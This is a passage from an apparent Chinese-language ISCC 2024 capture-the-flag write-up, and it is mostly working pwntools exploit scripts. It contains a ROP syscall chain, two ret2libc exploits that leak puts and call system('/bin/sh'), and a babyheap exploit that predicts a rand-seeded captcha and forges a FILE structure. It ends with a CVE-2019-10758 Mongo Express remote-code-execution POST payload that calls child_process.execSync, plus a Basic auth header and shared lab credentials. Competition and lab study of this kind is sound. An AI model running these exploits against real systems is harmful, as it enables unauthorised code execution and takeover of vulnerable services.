p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004012d3) # syscall
payload = b"a" * 0x28 + p
io.send(b'oh1yes')
io.sendline(b'1')
io.sendline(payload)
io.interactive()

unheap

一样的

exp:

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf=ELF('./great')
io=remote('xxxx',[port])
ret=0x0804840a
elf_plt=elf.plt['puts']
elf_got=elf.got['puts']
main_addr=elf.symbols['main']
sleep(1)
io.sendline(b"yes")
io.sendlineafter("Then I will show you something great.\n",b"OK")
payload=(b'a'*112)+p32(elf_plt)+p32(main_addr)+p32(elf_got)
print(payload)
io.sendlineafter("Here it is!\n",payload)
io.recvuntil(payload+b"\n")
elf_addr=u32(io.recv(4))
print(hex(elf_addr))
libc=LibcSearcher('puts',elf_addr)
libcbase=elf_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
io.sendline(b"yes")
io.sendlineafter("Then I will show you something great.\n",b"OK")
payload1=(b'a'*112)+p32(system_addr)+(b'aaaa')+p32(bin_sh)
io.sendlineafter("Here it is!\n",payload1)
io.interactive()

great

看下

image-20240525141617156

栈溢出

great函数

image-20240525141654011

所以:

from pwn import* 
context(log_level = "debug",arch = "i386",os = "linux")
io = remote('xxxx',[port])
elf = ELF("./great")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io.sendlineafter("Do you enjoy ISCC?",b'yes')
io.sendlineafter("Then I will show you something great.",b'OK')
#puts_plt = 0x08048490
#puts_got = 0x0804A020
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
great = 0x08048624
payload = b'a'*112 + p32(puts_plt) + p32(great) + p32(puts_got)
io.recvuntil("Here it is!")
io.sendline(payload)
puts_addr = u32(io.recvuntil("\xf7")[-4:])
print(hex(puts_addr))
system = puts_addr -0x5f150 + 0x3a950
binsh = puts_addr - 0x5f150+ 0x15912b
payload = b'a'*112 + p32(system) + p32(0) + p32(binsh)
io.sendlineafter("Here it is!",payload)
io.interactive()

babyheap

hint

image-20240525194630848

两个文件

image-20240525194804804

研究一下

from ctypes import *
from struct import pack
from pwn import *
import time
p=remote("xxxx",[port])

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(p.recv(10),16)
iuu64 = lambda : int(p.recv(6),16)
uheap = lambda : u64(p.recv(6).ljust(8,b'\x00'))
lg = lambda data : p.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : p.interactive()

def get_rand_int(start_num, end_num):
rand_num = dll.rand() % (end_num - start_num + 1)
rand_num += start_num
return rand_num
def get_rand_even(start_num, end_num):
while (1):
rand_num = dll.rand() % (end_num - start_num + 1)
rand_num += start_num
if (rand_num % 2 == 0):
return rand_num
def get_rand_string(length):
string_ascii = [48, 57, 65, 90, 97, 122]
captcha = ''
for _ in range(length):
idx = get_rand_even(0, 5)
captcha += chr(get_rand_int(string_ascii[idx], string_ascii[idx + 1]))
return captcha
def cmd(c):
sla("Please Select: ", str(c).encode())
def get_gift(libc, is_recv=True):
cmd(114514)
ru("Please enter the captcha: ")
gift = get_rand_string(0x10)
sl(gift.encode())
if is_recv:
ru("Give You: 0x")
leak_addr = int(p.recv(2 * 6), 16)
info("leak_addr => 0x%x" %(leak_addr))
libc_base = leak_addr - libc.sym['printf']
info("libc_base => 0x%x" %(libc_base))
return libc_base
def add(idx, size):
cmd(1)
sla("Index: ", str(idx).encode())
sla("Size: ", str(size).encode())
def edit(idx, size, content):
cmd(3)
sla("Index: ", str(idx).encode())
sla("Size: ", str(size).encode())
sla("Content: ", content)
def exp():
elf = ELF("./babyheap")
libc = ELF("./libc.so")
captcha = get_rand_string(8)
# print(captcha)
ru(b"To verify that you are AI. Enter the captcha: ")
sl(captcha.encode())
libc.address = get_gift(libc)
# raw_input()
# 7536 / 8 = 942
# 7504 / 8 = 938
add(0, 0x20)
edit(0, 0x10, p64(libc.sym['__stdout_FILE']))
# raw_input()
fake_IO = b'/bin/sh\x00'
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(libc.sym['__stdio_close'])
fake_IO += p64(1)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(libc.sym['system'])
edit(938, len(fake_IO), fake_IO)
get_gift(libc, False)
p.interactive()

if __name__ == '__main__':
dll = cdll.LoadLibrary("./libc.so")
t = int(time.time())
seed = dll.srand(t - (t % 100))
exp()

实战题

阶段一

image-20240525142851001

根据题目下载VPN

打开

image-20240525160908716

注册一个

注册不上

发了有可以用的账号

iscc20240513

Iscc@20240513

要配置default

image-20240525162825854

好 根据题目

访问172.17.0.1:8081

开题

image-20240525162937551

是Mongo Express,并且版本为3.4.24,这里有显示CVE-2019-10758,去搜一下

image-20240525163035521

远程代码执行?

那就根据这篇文章打一下远程代码执行

直接post

image-20240525164427850

http://172.17.0.1:8081/checkValid发包

post:document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“touch /tmp/Success_Ozero”)

添加header:Authorization: Basic YWRtaW46cGFzcw==